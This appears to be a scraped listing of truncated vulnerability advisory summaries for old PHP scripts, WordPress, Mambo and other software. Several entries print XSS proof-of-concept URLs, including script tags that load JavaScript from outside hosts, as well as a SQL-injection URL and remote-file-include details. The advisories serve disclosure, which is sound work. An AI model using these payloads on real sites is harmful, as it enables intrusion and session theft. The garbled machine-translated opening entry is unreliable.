Broiler erection of space to upload what the web server is not found-bug warning-the black bar safety net

I'm here to introduce two ultra-compactweb server. 1: a Small HTTP Server v3. 0 3 9 Operating environment: Win95/Win98/Win2000 Size: 93K, little was amazing!!!） Content Description: a compact WEB server, the footprint is very small, support CGI1. 1, SSI, AND PHP. 下载 地址...

Admin Phorum 3.3.1.a (del.php include_path)File Include Vulnerability

Admin Phorum 3.3.1.a del.php includepathFile Include Vulnerability Author: GoldM Hacker at w.Cn Mahmoodali Homepage: Www.Tryag.Cc Download S : http://www.phpforums.net/admin331.zip Other Info : http://www.phpforums.net/index.php?dir=dld v.Code : Line 3 require "$includepath/deletemessage.php";...

[Full-disclosure] WordPress Persistent XSS

Vulnerability Title: WordPress Persistent XSS Author: David Kierznowski Homepage: http://michaeldaw.org Software Vendor: WordPress Persistent XSS Versions affected: Confirmed in v2.0.5 latest See homepage for more details. WordPress was contacted: 26/12/06 22:04 BST Reply received: 27/12/06 06:11...

eIQNetworks Enterprise Security Analyzer Monitoring.exe多个缓冲区溢出漏洞

eIQnetworks Enterprise Security Analyzer（ESA）是一款企业级的安全管理平台。 ESA的Monitoring.exe进程中存在两个缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。 第一个漏洞存在于Monitoring.exe中负责处理TCP 9999端口上用户数据的例程中。如果连接到这个端口，用户就会立即被提示输入口令。这时可以发送HELP命令获得各种命令帮助： --------------------------------------------------------- Usage: QUERYMONITOR: to fetc...

dieselpaid.txt

NightWarrior nightwarrior-athotmail.com Diesel Paid Mail getad.php Cross-Site Scripting Vulnerability Contact : nightwarrior-athotmail.com hompage : www.dieselscripts.com http://www.example.com/Script Path/site/getad.php?refid=&email=default&ps=XSS...

dieselpay.txt

NightWarrior nightwarrior-athotmail.com DieselPay İndex.php Cross-Site Scripting Vulnerability Contact : nightwarrior-athotmail.com hompage : www.dieselscripts.com http://www.example.com/Script Path/index.php?read=XSS...

Diesel Paid Mail getad.php Cross-Site Scripting Vulnerability

NightWarriorKurdish Hacker nightwarrior-athotmail.com Diesel Paid Mail getad.php Cross-Site Scripting Vulnerability Contact : nightwarrior-athotmail.com hompage : www.dieselscripts.com http://www.example.com/Script Path/site/getad.php?refid=&email=default&ps=XSS...

PT-2006-5074 · Mambo · Mambo

Name of the Vulnerable Software and Affected Versions: Mambo com lmtg myhomepage component affected versions not specified Description: The issue concerns multiple PHP remote file inclusion vulnerabilities in the com lmtg myhomepage component for Mambo. These vulnerabilities allow remote attacker...

Flock Concurrency-related Memory Corruption Vulnerability

The newest version of Flock browser is affected to so-called concurrency-related XML handler memory corruption vulnerability disclosed on Bugtraq recently. When visiting the test link http://lcamtuf.coredump.cx/ffoxdie3.html browser crashed after a delay of some seconds. No user interaction was...

OZJournal v1.5 - XSS

OZJournal v1.5 Homepage: http://ozjournals.awardspace.com/index.php Affected files: search input box index.php viewing archives show comment page ---------------------------------------- XSS vulnerability via search input box: Data isn't properly sanatized before being displayed. For a PoC in the...

PHPClassifieds General

PHPClassifieds General v.n/a Homepage: http://www.phpclassifieds.info/ Affected files: search.php Posting classified ads ----------------------------------------- SQL injection on search.php via rate var: http://www.example.com/search.php?rate=sql ----------------------------------------- XSS vul...

Winged Gallery v1.0

Winged Gallery v1.0 Homepage: http://winged.info/index.php?p=gallery XSS vuln on thumb.php: http://example.com/gallery/thumb.php?image=data/Example+Folder/firefox+icon.jpg"''"""SCRIPT20SRC=http://youfucktard.com/xss.js/SCRIPT"''''&size=75&type=2&w=128&h=128"''"""...

Dating biz@ dating script v1.0 - XSS

Custom dating biz@ dating script v1.0 Homepage: http://www.e-cbd.biz/phpdatingscript.html Affected files: Profiles userview.php photocreate.php --------------------------------- The edit profile form can be spoofed and a user can enter any data he wishes and it will update his profile. The "Choos...

BandSite CMS <= 1.1.1 (root_path) Remote File Include Vulnerabilities

No description provided by source. --------------------------------------------------------------------------- Grayscale BandSite CMS =rootpath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By Kw3RLn Romanian Security Te...

PHP Live Helper <=([abs_path]) Remote File Include Vulnerabilities

--------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote : Yes Local : No Critical Level :...

PHP Live Helper <= 1.x (abs_path) Remote File Include Vulnerability

No description provided by source. --------------------------------------------------------------------------- PHP Live Helper =abspath Remote File Include Vulnerabilities --------------------------------------------------------------------------- Discovered By SnIpErSA Author : SnIpErSA Remote :...

Ez Ringtone Manager from scriptez.net - XSS

Ez Ringtone Manager Homepage: http://www.scriptsez.net Effected files: player.php search input box. XSS Vulnerabilities: http://example.com/ringtones/player.php?action=preview&id=SCRIPT20SRC=http://evilsite.com/xss.js/SCRIPT&cat=LG20Mobiles The search box doesnt properlly filter user input. Tags...

PBL Guestbook v1.31 - XSS

PBLGuestbook v1.31 Homepage: http://www.pixelatedbylev.com/ Effected files: input boxes of the guestbook. XSS Vulnerabilities PoC: I noticed that common tags like script are filtered into the words "SCRIPT BLOCKED" in this guestbook, however img tags as well as others go unfiltered in the Name,...

PHP ManualMaker v1.0

PHP ManualMaker v1.0 Homepage: http://deltascripts.com/phpmanualmaker/ Effected files: index.php Search boxes Comment boxes XSS proof of concept: Input in search or comment box: """'IMG SRC=javascript:alert&0000039XSS&0000039""'" XSS via URL injection of id:...

Cross site scripting

Cross-site scripting XSS vulnerability in index.php in DGBook 1.0 allows remote attackers to inject arbitrary web script or HTML via the 1 name, 2 homepage, 3 email, and 4 address parameters...